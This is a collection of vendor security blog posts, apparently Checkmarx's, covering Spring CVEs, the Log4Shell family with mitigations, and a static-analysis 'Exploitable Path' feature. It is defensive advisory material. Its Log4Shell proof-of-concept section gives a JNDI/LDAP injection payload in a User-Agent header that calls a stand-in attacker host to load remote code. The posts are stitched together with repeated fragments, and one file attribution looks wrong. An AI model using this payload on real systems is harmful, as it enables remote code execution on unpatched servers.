Overview of Spring Vulnerabilities

• CVE-2022-22965: “SpringShell”: RCE in org.springframework:spring-beans or org.springframework:spring prior to 5.3.18 and 5.2.20.
• CVE-2022-22963: RCE in org.springframework.cloud:spring-cloud-function-context prior to 3.1.7, and 3.2.3.
• CVE-2022-22950: DoS Vulnerability in org.springframework:spring-expression prior to 5.3.17.

Details of CVE-2022-22965 (“SpringShell”)

A spring framework application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e., the default, it is not vulnerable to the exploit. However, according to Spring’s latest updates, the nature of the vulnerability is more general, and there may be other ways to exploit it. Due to parameter binding it is possible to access “ClassLoader” variables via POST parameters, through “class.module.classLoader”, thus being able to write a malicious JSP file and achieve remote code execution. More details here.

The vulnerability was fixed by restricting the property paths under “Class” and properties of types “ClassLoader” or “ProtectionDomain”.

Prerequisites: JDK 9 or higher, Apache Tomcat as the Servlet container, Packaged as WAR.

Affected Versions: org.springframework:spring and org.springframework:spring-beans prior to 5.3.18 and 5.2.20.

Vulnerable Code: The vulnerability is found in the file CachedIntrospectionResults.java, specifically in two methods: CachedIntrospectionResults and introspectInterfaces.

Please note – Some sources online describe this vulnerability as affecting Spring MVC or Spring WebFlux. However, this is true only transitively as they all use the package spring-beans which is, as detailed above, the vulnerable package itself.

Mitigations: Spring Framework versions >= 5.3.18 and >= 5.2.20

PoC (Proof of Concept):

Fix Commit: https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

Details of CVE-2022-22963

In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in access to local resources, when using routing functionality. The vulnerability was fixed by ensuring that any SpEL expression provided via Message Headers is not evaluated in the scope of StandardEvaluationContext (see commit dc5128b).

Affected Versions: org.springframework.cloud:spring-cloud-function-context in versions 3.1.6, 3.2.2 and older, unsupported versions.

Vulnerable Code: The vulnerability is found in the file RoutingFunction.java, specifically in two methods: route and functionFromExpression.

Mitigations: Users of affected versions should upgrade to 3.1.7, 3.2.3. No other steps are necessary.

PoC (Proof of Concept):

Details for CVE-2022-22950

In Spring Framework versions 5.3.0 through 5.3.16 and older, unsupported versions, it is possible for a user to provide a specially crafted SpEL expression that may cause a denial-of-service condition. This is performed by attempting to create a large array in a SpEL expression that will result in an OutOfMemoryError. The vulnerability was fixed (see commit 90cfde) By evaluating the size of the array creation and throwing a SpelEvaluationException exception whenever it is exceeding a predetermined threshold.

Affected Versions: org.springframework:spring-expression 5.3.0 through 5.3.16 and older, unsupported versions are also affected

Vulnerable Code: The vulnerability is found in the file RoutingFunction.java, specifically in the createArray method.

Mitigations: Users of affected versions should upgrade to => 5.3.17. No other steps are necessary.

The reporter of this vulnerability posted a blog post explaining all you need to know.

Detecting Spring Boot vulnerabilities and future variants with Checkmarx SCA

Checkmarx SCA solution enables organizations to address open-source security issues earlier in their SDLC and reduces manual processes by scanning your code and identifying the security risk it contains, so you can deliver secure and compliant software faster, and at scale.

Checkmarx SCA also provides SBOM (Software Bill of Materials) automation at scale, which seems like the need of the hour for anyone that uses open-source code in their organization.

APACHE LOG4J REMOTE CODE EXECUTION – CVE-2021-44228

On December 9th the most critical zero-day exploit in recent years was disclosed, affecting most of the biggest enterprise companies. This critical 0-day exploit was discovered in the extremely popular Java logging library log4j which allows RCE (Remote code execution) by logging a certain payload.

The vulnerability was given the nickname “Log4Shell”, which has a CVSS (Common Vulnerability Scoring System) score of 10 – the highest risk possible and was published by GitHub advisory with a critical severity level.

EXPLOIT SCOPE

Log4Shell was being exploited for a few days before its public disclosure. Furthermore, log4shell scanning attempts were discovered up to two weeks beforehand. Attackers were able to install cryptominers, create botnets, and steal sensitive data and system credentials. As of today, it is estimated to have affected over a million machines.

RELEVANT CVES

Since its disclosure, and up to the creation of this article, five CVEs (Common Vulnerabilities and Exposures) concerning Log4j2 and Log4j1 were published:

LOG4J2: CVE-2021-44228

Log4j2 versions 2.0-beta9 through 2.15.0 (excluding 2.12.x after 2.12.1) are vulnerable to remote code execution using its LDAP (Lightweight Directory Access Protocol) JNDI parser. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. The initial vulnerability designated CVE-2021-44228 was supposedly fixed in versions 2.12.2 and 2.15.0. The fix includes disabling JNDI by default and by restricting LDAP access via JNDI in log4j2’s named object lookup and JNDI manager

This vulnerability has received the highest CVSS score possible – 10 and it affects the following packages, which are available through Maven Package Manager:

• org.apache.logging.log4j:log4j-api
• org.apache.logging.log4j:log4j-core

notes – The vulnerability itself is in log4j-core. The Logger class itself, which is used to trigger the exploit, as used in POCs (proof of concept) by calling Logger.error(), is defined in log4j-api. To detect such a usage with the exploitable path, and to secure our customers as much as possible, we added the Logger’s methods as vulnerable methods (which eventually trigger the vulnerability according to the research). This approach is reflected in Github’s Advisory page for this vulnerability.

LOG4J2: CVE-2021-45046

On December 11^th, 2021, it was discovered that CVE-2021-44228’s fix was incomplete in certain non-default configurations, which could allow attackers with specifically crafted malicious input data using a JNDI lookup pattern resulting in information leak and RCE in some environments and LCE (Local Code Execution) in all environments. RCE is also possible in some macOS environments. This complementary vulnerability was designated CVE-2021-45046 and was fixed in versions 2.12.2 and 2.16.0 by disabling JNDI by default, and by removing message Lookup.

As this vulnerability was initially regarded as allowing for only DOS (Denial of Service) attacks, the CVSS score assigned for this vulnerability was 3.7. Since it was later discovered as a much more severe threat (RCE), the CVSS score was raised to 9.0.

This vulnerability is an extension of CVE-2021-44228, thus the affected packages are the same.

Mitigation options for CVE-2021-44228 and CVE-2021-45046:

• Users requiring Java 8 (or later) should upgrade to release 2.16.0 or above.
• Users requiring Java 7 should upgrade to release 2.12.2 or above.
• Remove the JndiLookup class from the classpath:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

LOG4J2: CVE-2021-45105

It was discovered on December 15^th, 2021, that log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.x from 2.12.3) is vulnerable to DOS attacks, since it does not protect from uncontrolled infinite recursion of self-referential lookups. These in turn result in a Stack Overflow error that will terminate the process. This vulnerability was published at NVD on December 18^th, 2021, under CVE-2021-45105 and was fixed in version 2.17.0 by fixing string substitution recursion and limiting JNDI to only java protocol. According to GitHub Advisory and previous fixes for log4Shell’s variants, the fix for Java7 users should be released in upcoming version 2.12.3. The CVSS score assigned to it by Apache is 5.9.

Mitigation options for CVE-2021-45105

• Users requiring Java 8 (or later) should upgrade to release 2.17.0 or above.
• Users requiring Java 7 should upgrade to release 2.12.3 or above.
• Users requiring Java 6 should upgrade to release 2.3.1 or above.
• In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
• in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

LOG4J2: CVE-2021-44832

The Checkmarx Security Research Team publicly disclosed a new vulnerability they recently discovered on December 28^th, 2021. This vulnerability allows for ACE (Arbitrary Code Execution) in versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4).

When an attacker gains control over the logging configuration (via MITM attack since there is a feature to load a remote config file in log4j) can construct a malicious configuration using JDBC Appender with a data source referencing a JNDI URI, which can then execute remote code.

This vulnerability was fixed in version 2.17.1 by limiting JNDI data source names to the java protocol and it was assigned the CVSS score of – 6.6, a slightly lower severity score because it is more complex to exploit than previous log4Shell variants.  CVE-2021- 44832 solely affects the log4j-core package.

Mitigation options for CVE-2021-44832

• Users requiring Java 8 (or later) should upgrade to release 2.17.1 or above.
• Users requiring Java 7 should upgrade to release 2.12.4 or above.
• Users requiring Java 6 should upgrade to release 2.3.2 or above.
• In Prior releases confirm that if the JDBC Appender is being used it is not configured to use any protocol other than Java.

Important note for log4j2 vulnerabilities: only the log4j-core JAR file is impacted by these vulnerabilities. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted. Apache Log4j is the only Logging Services subproject affected. Other projects like Log4net and Log4cxx are not impacted by these vulnerabilities.

LOG4J1: CVE-2021-4104

Disclosed on December 13^th, 2021, and published on December 14^th, 2021, on NVD under CVE-2021-4104, it was discovered that log4j1 was also vulnerable for log4Shell vulnerability – previously believed to only affect log4j2.

The root cause of this vulnerability is in the org.apache.log4j.net.JMSAppender class that is vulnerable to deserialization of untrusted data when the attacker has Write access to the Log4j configuration. The attacker can provide malicious payloads to the configuration parameters causing JMSAppender to perform JNDI requests that result in remote code execution. This affects non default configurations of Log4j 1.2 since the JMSAppender configuration is disabled by default.

The CVSS score assigned for this vulnerability is 6.6, which is lower than CVE-2021-44228 since attacker must have write access to log4j configuration to exploit.

The vulnerability affects the log4j:log4j package, which is available through Maven Package Manager:

Mitigation options for CVE-2021-4104:

• Users should upgrade to Log4j2, either 2.12.4, 2.3.2, 2.17.1, or above, as it addresses numerous other issues from the previous versions.
• Ensure to not expose to untrusted callers any mechanism that might allow access to JMSAppender class or make any changes and configuration to instances of it.
• Comment out or delete the JMSAppender in log4j configuration if it is used
• Delete the JMSAppender classpath:

 zip -q -d log4j-*.jar org/apache/log4j/net/JMSAppender.class

Important note: Apache Log4j 1.2 reached end of life in August 2015.

Detecting Log4Shell with Checkmarx SCA

Checkmarx SCA provides fast and easy detection of the above mentioned Log4Shell vulnerabilities in open source dependencies. The following screenshots display our SCA scan results of code with vulnerable 3^rd party dependencies.

Figure 1 – SCA’s overview page, with a list of detected packages and risks

Today, it’s clear. Software Composition Analysis (SCA) solutions are a requirement for organizations that consume open source software. Checkmarx SCA enables your organization to address open-source security issues earlier in the SDLC to identify and manage risk more effectively.

To learn more about Checkmarx SCA, you can request a live demo here, or download our Ultimate Guide to SCA here.

This vulnerability is also known as CVE-2021-44228 which has a CVSS (Common Vulnerability Scoring System) score of 10, which is the highest risk possible and was published by GitHub advisory with a critical severity level.

According to Google’s open-source scorecard project, which calculate a health score for open-source repositories, log4j received 4.8 (from 1-10, 10 being the best score).

How to remediate the Log4j RCE vulnerability?

The easiest and most recommended way to remediate this vulnerability is to update to log4j version 2.15.0 or later.
If updating the package is an issue, then in previous releases 2.10.0 through 2.15.0, this exploitable behavior can be mitigated by setting the system property to:

log4j2.formatMsgNoLookups=true

Additionally, an environment variable can be set for these same affected versions:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

For releases from 2.0-beta9 to 2.10.0, removing JndiLookup class from the classpath would be the solution. The command to perform such action is:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

You can find more details in the GitHub commit that fixes this vulnerability.

Why is it so critical?

Amazon, Apple, Twitter, Minecraft, Cloudflare, Steam: this is only a very partial list of organizations that are impacted by this vulnerability.

According to New Zealand CERT (Computer Emergency Response Team) and Greynoise monitoring service, attackers are actively looking for vulnerable servers to exploit this attack, and there are more than 100 distinct hosts that are scanning the internet in order to find ways to exploit such vulnerability.

The impact is wide-scale as log4j is an extremely common logging library used across most Java applications, including in business systems to record log information.

Less than 24 hours after the publication of this vulnerability, there was already a crypto-miner deployed that took advantage of this vulnerability.

Am I vulnerable?

You can freely check if your domain is vulnerable to CVE-2021-44228 using open-source testing tools, like GitHub – huntresslabs/log4shell-tester for example.

Also, in case your application uses log4j below 2.15.0 as a direct package or transitive package, you are vulnerable.
Another way to verify is to check these hashes in your software inventory, in case you find them, you use vulnerable log4j in your systems:

GitHub – mubix/CVE-2021-44228-Log4Shell-Hashes: Hashes for vulnerable LOG4J versions

As of Monday, December 13th, 2021 13:00 CET, a workaround was found to bypass the trustURLCodebase=false setting. To be as secure as possible, we recommend updating your log4j library, instead of relying on any of the other patches.

Source: Fastly

How does it work?

First, let us dive deeper to understand the components used in this attack: JNDI (Java Naming and Directory Interface) is a Java API (Application Programming Interfaces) for a directory service that allows you to interface with LDAP or DNS (Domain Name Service) to look up data and resources.

LDAP (Lightweight Directory Access Protocol) is an open and cross-platform protocol used for directory services authentication.

From the Java official documentation, we can see an example of communicating with the LDAP server to retrieve attributes from an object.

The LDAP server could be located anywhere on the internet, which means that if an attacker could control the LDAP URL, he would be able to load an object using a Java program, under a server in his control.

Exploiting CVE-2021-44228

This attack is a combination of multiple vectors:

1. Lack of Input validation
2. Unauthenticated SSRF
3. Lack of whitelisting protocols for JNDI client

log4j uses special syntax in the form of ${prefix:name} where prefix is a lookup and name is evaluated.
For example, ${java:version} is the currently running version of Java.

In this case, by overriding the ${prefix:name} prefix, the attacker could trigger the server to send a malicious request via the lookups function. This occurs due to the lack of validation of the prefix special syntax offered by log4j. By adding a custom prefix, an attacker could control the type of protocol, as for this attack it is LDAP. We should point out that the main logic for this attack vector (controlling the input in a JNDI lookup function) is a known exploit and it was published a few years ago – https://github.com/welk1n/JNDI-Injection-Exploit

A Possible PoC

One of the data types that might be returned is a URL pointing to a Java class, which might be an untrusted class, which runs a malicious actor’s code.

An example of logger that logs HTTP (HyperText Transfer Protocol) information:

LOGGER.warn("Request User-Agent: {}", userAgent);

An attacker might insert the payload to the User-Agent header:

User-Agent: ${jndi:ldap://AttackerServer.com/<path_to_malicious_class>}

In this scenario, the vulnerable log4j server will make an LDAP query to AttackerServer.com.

AttackerServer.com will then respond with directory information containing the malicious_class attributes:

javaClassName: <class name>

javaCodeBase: <base URL>

objectClass: javaNamingReference

javaFactory: <file base>

The javaFactory and javaCodeBase values are then used to build the object location that contains the Java class representing the final payload.

The Java class will be loaded into memory and executed by the vulnerable log4j server.

For example, an attacker could create a class that uses an object which returns the results of any command, like ls, to an external URL.

The logger will evaluate the payload, call the malicious attacker server, and fetch the code written in the object.

Exploitable path:

The vulnerability described in CVE-2021-44228 is caused by log4j-core’s jndiLookup functionality, which log4j-api does not provide and so it is not vulnerable by itself for the log4shell vulnerabilities. However, log4j-api package provides the interface and the adapter components required for implementing log4j-core’s logging capabilities.

These functions are reached by the following logger functions, which are defined in the Logger.java file:

• Logger.debug()
• Logger.error()
• Logger.warn()
• Logger.fatal()
• Logger.info()
• Logger.trace()
• Logger.log()

CxSCA Mitigation

Checkmarx offers CxSCA, which enables your organization to address open-source security issues earlier in the SDLC (Software Development Life Cycle) and cut down on manual processes by scanning your code, identifying the security risk it contains, so you can deliver secure & compliant software faster and at scale. SBOM (software bill of materials) automation at scale seems like the need of the hour for anyone that uses open source code.

For a free demonstration of CxSCA, please contact us here.

• The vulnerable method in the library needs to be called directly or indirectly from a user’s code.
• An attacker needs a carefully crafted input to reach this method and trigger the vulnerability.

In the second blog, we discussed some of the challenges in developing such a feature, and our unique approach. Mainly:

• Using a query language over the CxSAST engine for the abstraction of queries over source code. This allows a more language-agnostic approach, so that Exploitable Path works for every programming language supported by CxSAST.
• We walked through the various CxSAST queries that are required to build a full call graph of a user’s source code and its libraries’ source code. By crossing it with vulnerability data, we can know if a vulnerability is exploitable or not.

In this last blog in the series, we will cover more advanced topics we faced during the development of Exploitable Path.

Challenge no. 1 – Supporting Multiple Library Versions

The public data on a CVE usually contains affected versions, but how can we use this information to support Exploitable Path across versions? Meaning, if the source code of a library changes between various versions, how can we have the required data for Exploitable Path for each of those versions?
Let’s assume we have a user’s source code that uses a single open-source library. This library contains a vulnerability, and using Mitre, we can figure out the affected versions.
To be able to assess if the vulnerability is exploitable, we need the following for each version on the library:

• A call graph of the library’s code. This can be done automatically using CxSAST.
• Is the current version vulnerable?
  • If it is, the inner method in which the exploitation occurs is required.

Now the question is, “how can we find this inner method for each vulnerable version”? Going over each version manually is not practical, especially since a library can have hundreds of versions.
The first part of the solution is to find the inner method that’s vulnerable. Usually, a vulnerability goes together with a specific method (or methods) that are responsible for a certain logic. Pull requests and commits for the relevant CVE, help our Analysts uncover the relevant method.
Next, we generate a fingerprint of the fix – if a version contains the fix, we can mark it as not vulnerable to this CVE. This is where our powerful static code analysis tool comes into play again, making it easy to re-assess hundreds of library versions for the vulnerability.
Re-assessing the affected versions of a vulnerability is crucial. As it turns out, this data on public websites like Mitre is often not precise. Versions that are marked as vulnerable can be safe and vice versa. It can be the result of human error, or even a slight difference in the version tags between the public registry and the git repository on which the library is developed. By searching for the fingerprint of the fix, we can ensure the quality and accuracy of our vulnerabilities data.
Using the in-depth analysis process, the vulnerable method is marked for every affected version, eventually resulting in a very accurate Exploitable Path scan.

Challenge no. 2 – Data Flow

Just because your code calls a vulnerable method, that doesn’t mean you are automatically at risk.  To assess the risk properly (and avoid false positives), it’s crucial to have both a call graph and a DFG (Data Flow Graph) of a code to assess its exploitability
Let’s start with an example, and assume that a method called parse(content) has a DoS (Denial of Service) vulnerability given the right input. If parse() is only called with a constant value, meaning parse(CONSTANT_VALUE), there is no attack surface for an attacker to exploit it and cause a DoS. On the other hand, if a user of the application controls the input parameter of parse(), it’s a different story. For example, this input can be a comment or other data provided by the user. In such a case, the attacker can easily exploit the vulnerability and craft the required input.
The reality is more complex, as there are various ways data can be transferred in code:

• Input parameters
• Global or class members
• The return value of another method invocation

Also, not all data options are necessary for exploitation. For example, a method parseRequest(HttpRequest request, Config config) can be vulnerable for exploitation using only the  HttpRequest.Content member in the request parameter.
Now we understand the importance, but how do you incorporate DFG in the process of assessing a vulnerability? To be more specific, how can we know that a vulnerability is exploitable from a data flow point of view?
First, we use CxSAST to build a DFG. We start at the vulnerable method and trace back the origins of data point. Eventually we’ll reach one of the following cases:

• A constant value. This is not exploitable, of course.
• An input parameter of a method that is not called by other methods. This is a potential data flow compromise, as in the context of the static code scan, we don’t know how the method is invoked.
• An internal method of the language is called, such as fopen() in Python.
• A method of a different library is called, and its source code is not available.

The last two cases are the most interesting ones, and have two complementary approaches:

• As a rule of thumb, mark those methods as a potential for data flow compromise since the inner implementation is unknown.
• Mark specific methods as definite data flow compromises. For example, reading contents from a database pipe file. The same goes for parsing HTTP packets, pulling a message from a message queue, etc.

These two approaches are the basis for DFG support in assessing a vulnerability for exploitability.

Summary

In this blog we covered two additional advanced topics in Exploitable Path. We started with the problem of supporting various library versions, and how this is solved using the in-depth analysis process. Then, we discussed the integration of DFG in the vulnerability evaluation process, and how to backtrack the flow of data in the code.
With CxSCA, Checkmarx enables your organizations to address open source vulnerabilities earlier in the SDLC and cut down on manual processes by reducing false positives and background noise, so you can deliver secure software faster and at scale. For a free demonstration of CxSCA, please contact us here.

• The vulnerable method in the library needs to be called directly or indirectly from a user’s code.
• An attacker needs a carefully crafted input to reach the method to trigger the vulnerability.

Now that we know the scope of the problem, let’s dive into how uncovering an exploitable path is done.

Prerequisites

1.     A SAST Engine

Every programming language has its set of quirks and features. Some use brackets; some don’t. Some are loosely typed; others are strict. To be able to develop an Exploitable Path, we needed a certain level of abstraction for example, a “common language.” This is particularly hard when high level concepts like “imports” behave differently across languages.
To solve this issue, Checkmarx uses its powerful CxSAST engine. CxSAST breaks down the code of every major language into an Abstract Syntax Tree (AST), which provides much of the needed abstraction. Imports, call graphs, method definitions, and invocations all become a tree.

2.     An AST Query Language

Having an AST, the next step is having a query language capable of even further abstractions. Checkmarx uses CxQuery that can run queries to answer various questions, for example:

• What are all the import statements in a codebase?
• Which methods have no definition but only usage?
• What’s the namespace of every file?

With a tool like CxQuery, you can get results in a unified format regardless of the programming language, such as, C#, Java, Python, etc.

Assumptions

1.     Vulnerable Methods Are Known

Usually, the public data on a CVE provides a CVSS score, affected products, and versions, etc. However, the inner method in which the vulnerability is triggered is usually unknown. To help with this dilemma, the CxSCA Research Team has application security analysts on board who are responsible for analyzing CVEs and finding the method in which the vulnerability occurs. So, for the rest of the post we can assume that for every CVE, we know the method that triggers it.

2.     A SAST Scan Is Limited to One Project

You can think of a project as a folder containing all source code without the third-party package’s code. This makes life easier since there’s a clear distinction between a user’s code and the dependency’s code.
For example, in case there’s a user code that requires a single third-party package, two scans can be made:

• A scan on the user code.
• A scan on the third-party package.

Static Analysis Steps

Now that we’ve covered the prerequisites and assumptions, let’s understand the challenge itself by looking at the following example, written in Python.
Here’s a simple code, importing an open source library and calling a method in it. This method in turn calls a vulnerable method.

The code of OSLib will be:

Here are the steps:

1.     Find Unresolved Methods in User’s Code

The user code is parsed with CxSAST and a query is run to detect all methods that are called and are missing a definition – hence unresolved and belong to a third-party package. In our example, there are two calls:

• foo() – is defined in the user code and hence resolved.
• lib_foo() – is defined in OSLib and hence an unresolved method must be imported.

In our case, there’s a single import to OSLib, so it’s obvious where the method was imported from.
Usually, there will be multiple imports, in which case a signature of the method is collected and searched across imported libraries. Assuming the code is functional and works, there will always be a single match.

2.     Find Exported Methods in Package Code

The code of package OSLib is also parsed with CxSAST, and a query is run to find all exported methods. In languages like C# and Java, an exported method is a public method in a public class that can be used by the user’s code. In Python, all methods are public so the exported methods in our example will be lib_foo() and inner_vuln_method().
This data is essential since it’s used to match unresolved methods in the step above.

3.     Call Graph

A query for a call graph is run on both user’s code and package code.
For the user’s code, the graph is:

For the package code, the result is similar:

4.     Find Exploitable Path

Using all the data collected so far, a full call graph is built:

All methods in the graph are checked for exploitability. In our example, inner_vuln_method() is the exploitable method, and so an Exploitable Path is found.

Further Topics

The example above provided a simple demonstration of how Exploitable Path is analyzed, but in reality, this problem is much harder. Some other research questions we faced, which are not discussed in this blog post, are:

• Detecting Exploitable Path in a dependency of a dependency
• Matching challenges between user’s code and package code
• Integration of DFG (Data Flow Graph)

Summary

By using CxSAST with queries written in CxQuery, we created an abstraction layer to statically detect vulnerabilities that are exploitable. A single algorithm can detect Exploitable Path across multiple programming languages, and unlike other solutions on the market, CxSCA can easily extend support for more languages. Currently, Java and Python are already supported, with many more languages to follow.
With CxSCA, Checkmarx enables your organizations to address open source vulnerabilities earlier in the SDLC and cut down on manual processes by reducing false positives and background noise, so you can deliver secure software faster and at scale. For a free demonstration of CxSCA, please contact us here.

In the next post in this series, we’ll look at some of the challenges we faced as we developed the Exploitable Path feature.

Open source code’s benefits are significant

• Code development can be faster:
  It’s now more about welding existing pieces together, rather than building them yourself. Open source libraries solve fundamental engineering problems, allowing engineers to focus their time on more complex tasks.
• Tools like package managers make it easy to manage and add third-party dependencies:
  Every programming language or IDE comes with an integrated package manager support.
• Over time, the way APIs are exported and used becomes clearer and simpler:
   Open source maintainers offer clear APIs, simple documentation, and code samples.

Every new technology has its risks, though, and attackers can exploit weak points in software that uses open source. An attacker can gain information about open source libraries used by an application, and in other cases, can simply maintain an arsenal of exploits for popular open source packages and attempt to use these until one succeeds. In the case of open source packages, attackers have full access to:

• Its code, which they can scan for zero-day vulnerabilities.
• Issues and security tickets that are managed on GitHub, GitLab, etc., which can help find vulnerable areas for exploitation.
• Current and past vulnerabilities, which can be very helpful when the library in use is not up to date. These vulnerabilities have detailed descriptions and advisories, and even the patches themselves are open source. An attacker can utilize those vulnerabilities and attempt to attack the application, and if the library uses an old version, the attack will succeed.

To manage such risks, a software composition analysis (SCA) tool such as Checkmarx CxSCA detects your third-party libraries and versions in use and informs you of existing vulnerabilities. It’s important to recognize that not all libraries in a project may apply since some may not be in use.

Prioritizing Vulnerabilities

Tracking existing vulnerabilities is important, but it’s not enough. The average project has dependencies that in turn have their own dependencies. Overall, there can be hundreds or thousands of libraries with hundreds of vulnerabilities in your project.

Nowadays, solving those vulnerabilities can take lots of time, while developers need to put efforts into developing new features as well. Managing security vulnerabilities of third-party packages is often not a one-time thing, but rather an on-going process, so it’s important for an SCA tool to prioritize the risks. This way, developers know what the most crucial risks to solve are.

But how do you prioritize a vulnerability?

The popular method is to prioritize vulnerabilities by the CVSS—a score given to a vulnerability based on the impact, how easy it is to exploit, etc. Every vulnerability that is made public has this score. However, this methodology is too simplistic, since exploitability is the most crucial aspect.

Exploitability of a Vulnerability

Let’s assume that a vulnerability is triggered by a foo() method in a library you’re using. If your code doesn’t call foo() in any flow, either directly or indirectly, the vulnerability is in fact not exploitable. If so, the priority of fixing it is low and efforts should be redirected to exploitable vulnerabilities instead.

Looking at it from an attacker’s perspective, for a vulnerability to be exploitable:

• The method foo() needs to be called. This can require a carefully crafted input, the processing of which will trigger a call for foo().
• The attacker needs to control the data flow for foo(). Usually, calling a method with “regular input” won’t trigger any unwanted behavior. Unwanted behavior is triggered when a carefully crafted input from the attacker reaches foo(), meaning the vulnerable method needs to be callable and its input controlled.

Developers today can use an entire library for a single API method out of dozens of APIs. Also, libraries they use have their own third-party libraries, with only a partial use of available APIs. This means that given a vulnerability in one of your dependencies, the probability of exploiting it can be below 5%. This has serious implications:

• Current prioritizations of vulnerabilities are defocusing. Instead of fixing exploitable vulnerabilities first, efforts are put into risks that may be irrelevant.
• They may be considered false positives. You would assume that a critical risk is a top priority, but if the relevant code flow can’t be reached, there’s nothing critical here.
• The true number of vulnerabilities that need to be addressed is actually much lower than assumed, and that’s good news for developers. Fewer vulnerabilities means far less effort to remediate them.

By using our SAST scan (CxSAST) to statically analyze the project’s source code and the source code of all its used packages, when examining the call graphs and data flows, the exploitability and risk can be evaluated.

With CxSCA, Checkmarx enables your organization to address open source vulnerabilities earlier in the SDLC, and cut down on manual processes by reducing false positives and background noise, so you can deliver secure software faster and at scale. For a free demonstration of CxSCA, please contact us here.

In the next blog post, we’ll dig deeper into the research behind Exploitable Paths, sharing challenges and insights we collected along the way.